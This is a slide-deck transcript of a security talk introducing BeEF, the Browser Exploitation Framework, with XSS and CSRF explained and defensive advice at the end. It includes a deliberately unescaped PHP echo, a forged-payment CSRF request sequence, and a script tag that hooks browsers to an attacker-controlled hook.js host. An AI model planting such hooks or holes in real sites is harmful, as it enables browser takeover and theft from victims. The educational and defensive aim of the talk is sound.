85
It’s 10pm, do you know where your browser is? Christian @xntrik Frichot 1 Hi - I’m Christian ..

BeEF: The Browser Exploitation Framework

Embed Size (px)

DESCRIPTION

 

Citation preview

Page 1: BeEF: The Browser Exploitation Framework

It’s 10pm,do you know where your browser is?

Christian @xntrik Frichot

1

Hi - I’m Christian ..

Page 2: BeEF: The Browser Exploitation Framework

2

SCARY

Page 3: BeEF: The Browser Exploitation Framework

3

Cute ;)

Page 4: BeEF: The Browser Exploitation Framework

Enhancing Lives

4

Why are we here?

Page 5: BeEF: The Browser Exploitation Framework

I <3 U

5

And we lurve the Internet

Page 6: BeEF: The Browser Exploitation Framework

>=] <3 U

6

But so do bad-guys

Page 7: BeEF: The Browser Exploitation Framework

Online Banking

7

Page 8: BeEF: The Browser Exploitation Framework

Online Bank Robbery

8

Way easier these days..

Page 9: BeEF: The Browser Exploitation Framework

Online Communication

9

Page 10: BeEF: The Browser Exploitation Framework

Online Romance

10

Page 11: BeEF: The Browser Exploitation Framework

Online Heart Robbery

11

Way easier.

Page 12: BeEF: The Browser Exploitation Framework

12

Sad?

Page 13: BeEF: The Browser Exploitation Framework

13

Sadder!

Page 14: BeEF: The Browser Exploitation Framework

Browsers & Web Apps

14

But this is what we’re talking about..

Page 15: BeEF: The Browser Exploitation Framework

Browser

15

Browsers

Page 16: BeEF: The Browser Exploitation Framework

Web Apps

16

Web apps

Page 17: BeEF: The Browser Exploitation Framework

17

OVERVIEW

Page 18: BeEF: The Browser Exploitation Framework

The Ubiquitous Web&

its Imperfect Trust Model

18

1

Page 19: BeEF: The Browser Exploitation Framework

Malicious ActorsDo Malicious Things

19

2

Page 20: BeEF: The Browser Exploitation Framework

You already deploy defences

(even if you don’t know it)

Let’s bolster them

20

3

Page 21: BeEF: The Browser Exploitation Framework

Ubiquitous

21

The Internet is pervasive and ubiquitous

Page 22: BeEF: The Browser Exploitation Framework

22

People who ‘support’ the ecosystem are multiplying

Page 23: BeEF: The Browser Exploitation Framework

Lots of people

Lots of browsers23

Lots of attack surface

Page 24: BeEF: The Browser Exploitation Framework

!eCommerce

Commerce!

24

Why?

Page 25: BeEF: The Browser Exploitation Framework

25

Attackers don’t care, just seeing victims.

Page 26: BeEF: The Browser Exploitation Framework

26

But it’s broken

Page 27: BeEF: The Browser Exploitation Framework

27

What does this mean?

Page 28: BeEF: The Browser Exploitation Framework

28

So how is my mum meant to know that this doesn’t mean the same thing??

http://www.usablesecurity.org/papers/jackson.pdf

Page 29: BeEF: The Browser Exploitation Framework

29

Yup .. a fake frame inside someone else’s site..

Page 30: BeEF: The Browser Exploitation Framework

Domains are mixed

30

Page 31: BeEF: The Browser Exploitation Framework

31

Traditional security models just don’t work in this new age.

Page 32: BeEF: The Browser Exploitation Framework

Bell-LaPadula ?

32

Page 33: BeEF: The Browser Exploitation Framework

Same Origin Policy

33

Closest we have?

Page 34: BeEF: The Browser Exploitation Framework

34

In the end though ..

The browser will do what the server says.The server will do what the browser says

Page 35: BeEF: The Browser Exploitation Framework

It’s Mighty (confusing)

35

The browser is mighty - and it’s used by all of us ...

Page 36: BeEF: The Browser Exploitation Framework

36

and it’s confusing..

Page 37: BeEF: The Browser Exploitation Framework

So just how bad is the bad stuff the bad

people do?

37

Page 38: BeEF: The Browser Exploitation Framework

38

OWASP, the Open Web Application Security Project, try to categorise the top 10 riskiest web security weaknesses.

Known as the OWASP Top 10 it’s a great resource..

www.owasp.org

Page 39: BeEF: The Browser Exploitation Framework

Cross Site Scripting(XSS)

39

In the OWASP Top 10 this comes in at number 2, and they describe it as so:“XSS flaws occur when an application includes user supplied data in a page sent to the browser without properly validating or escaping that content”

Page 40: BeEF: The Browser Exploitation Framework

Server code:

1. Take ‘greeting’ parameter

page.php?greeting=<input>

2. Dynamically print that out in the response

<p><?php echo $_GET[‘greeting’] ?></p>

40

Page 42: BeEF: The Browser Exploitation Framework

Words < Picture < Moving Picture

42

Page 43: BeEF: The Browser Exploitation Framework

Demo

43

Page 44: BeEF: The Browser Exploitation Framework

44

Page 45: BeEF: The Browser Exploitation Framework

Cross Site Request Forgery(CSRF)

45

CSRF comes in at number 5 in the OWASP Top 10.. described as:“Since browsers send credentials like session cookies automatically, attackers can create malicious web pages which generate forged requests that are indistinguishable from legitimate ones.”

Page 46: BeEF: The Browser Exploitation Framework

46

Page 47: BeEF: The Browser Exploitation Framework

ING Direct

47

https://www.eecs.berkeley.edu/~daw/teaching/cs261-f11/reading/csrf.pdf 2008

Page 48: BeEF: The Browser Exploitation Framework

Without prior knowledge of secret or

random tokens

48

Page 49: BeEF: The Browser Exploitation Framework

If you were online performing banking

49

Page 50: BeEF: The Browser Exploitation Framework

And your browser rendered content from

elsewhere

50

Page 51: BeEF: The Browser Exploitation Framework

They could automatically transact

your funds away

51

Page 52: BeEF: The Browser Exploitation Framework

52

Page 53: BeEF: The Browser Exploitation Framework

GET request to Add New Contact page

POST request to add the contact

POST request to confirm the new contact

POST request to create payment to contact

POST request to confirm payment

53

Page 54: BeEF: The Browser Exploitation Framework

54

Page 55: BeEF: The Browser Exploitation Framework

Samy Wanted Friends

55

Page 56: BeEF: The Browser Exploitation Framework

56

Page 57: BeEF: The Browser Exploitation Framework

This is lovely, but this is manual

57

This all seems very hands on..

Page 58: BeEF: The Browser Exploitation Framework

http://beefproject.com

58

Let me introduce you to BeEF....

The Browser Exploitation Framework ..

Page 59: BeEF: The Browser Exploitation Framework

59

The architecture looks a little bit like this.

Page 60: BeEF: The Browser Exploitation Framework

60

Beef is currently made up of 3 main components:Core, Extensions & Moduleshttp://img4.cookinglight.com/i/2009/01/0901p40f-beef-patty-m.jpg?300:300

Page 61: BeEF: The Browser Exploitation Framework

61

Firstly is the core..http://www.imdb.com/media/rm1627756544/tt0298814

Page 62: BeEF: The Browser Exploitation Framework

Central API

Filters

Primary client-side JS

Server-side asset handling Web servicing

Ruby extensions

Database models

Hooking methods for Extensions & Modules

CORE

62

! - The Core! ! - Central API! ! - Filters! ! - Primary client-side javascript! ! - Server-side asset handling and web servicing! ! - Ruby extensions! ! - Database models! ! - Hooking methods to load and manage arbitrary extensions and command modules

Page 63: BeEF: The Browser Exploitation Framework

Extensions

63

Extensions

Page 64: BeEF: The Browser Exploitation Framework

Web UI

Console

Demo pages

Event handling Browser initialisation

Metasploit

Proxy/Requester

XSSRays

EXTENSIONS

64

Page 65: BeEF: The Browser Exploitation Framework

65

Command Moduleshttp://www.mobiinformer.com/wp-content/uploads/2010/11/big_red_button.jpg

Page 66: BeEF: The Browser Exploitation Framework

Browser

Debugging

Host Miscellaneous

Network

Persistence

Recon

Router

COMMAND MODULES

66

Page 67: BeEF: The Browser Exploitation Framework

• XSS

• Social Engineering (i.e. tiny URL, or phishing via email)

• Embedding the payload (think drive-by-download)

• Maintaining persistence after already being hooked (think Tab BeEF Injection)

Hooking Browsers

67

Page 68: BeEF: The Browser Exploitation Framework

<script src="http://beefserver.com/hook.js"></script>

68

This is pretty much all you need.

Page 69: BeEF: The Browser Exploitation Framework

Demo

69

Page 70: BeEF: The Browser Exploitation Framework

70

Page 71: BeEF: The Browser Exploitation Framework

71

You can defend yourself

Page 72: BeEF: The Browser Exploitation Framework

www.OWASP.org

72

Have LOTS of material

Page 73: BeEF: The Browser Exploitation Framework

Multiple angles (angels?)

73

Page 74: BeEF: The Browser Exploitation Framework

74

As a minimum ..

Page 75: BeEF: The Browser Exploitation Framework

Your Baseline,Your Appetite

75

Determine your appetite and baseline

Page 76: BeEF: The Browser Exploitation Framework

Update Your Frameworks

76

Use the latest versions of your framework, Rails, Django, .NET (MVC)

Page 77: BeEF: The Browser Exploitation Framework

Monitor

http://www.ossec.net/

http://sucuri.net/

77

Page 78: BeEF: The Browser Exploitation Framework

Be Prepared

http://tiny.cc/rubygemsresponse

78

Page 79: BeEF: The Browser Exploitation Framework

Want Moar?

79

Page 80: BeEF: The Browser Exploitation Framework

Dev Lifecycle +

Security

http://microsoft.com/sdl

80

Page 81: BeEF: The Browser Exploitation Framework

Continuous Security

81

Page 82: BeEF: The Browser Exploitation Framework

Brakeman

http://brakemanscanner.org/docs/presentations/

82

Page 84: BeEF: The Browser Exploitation Framework

You are not alone

84

Page 85: BeEF: The Browser Exploitation Framework

Questions?

85

www.asteriskinfosec.com.au@asteriskinfosec@xntrik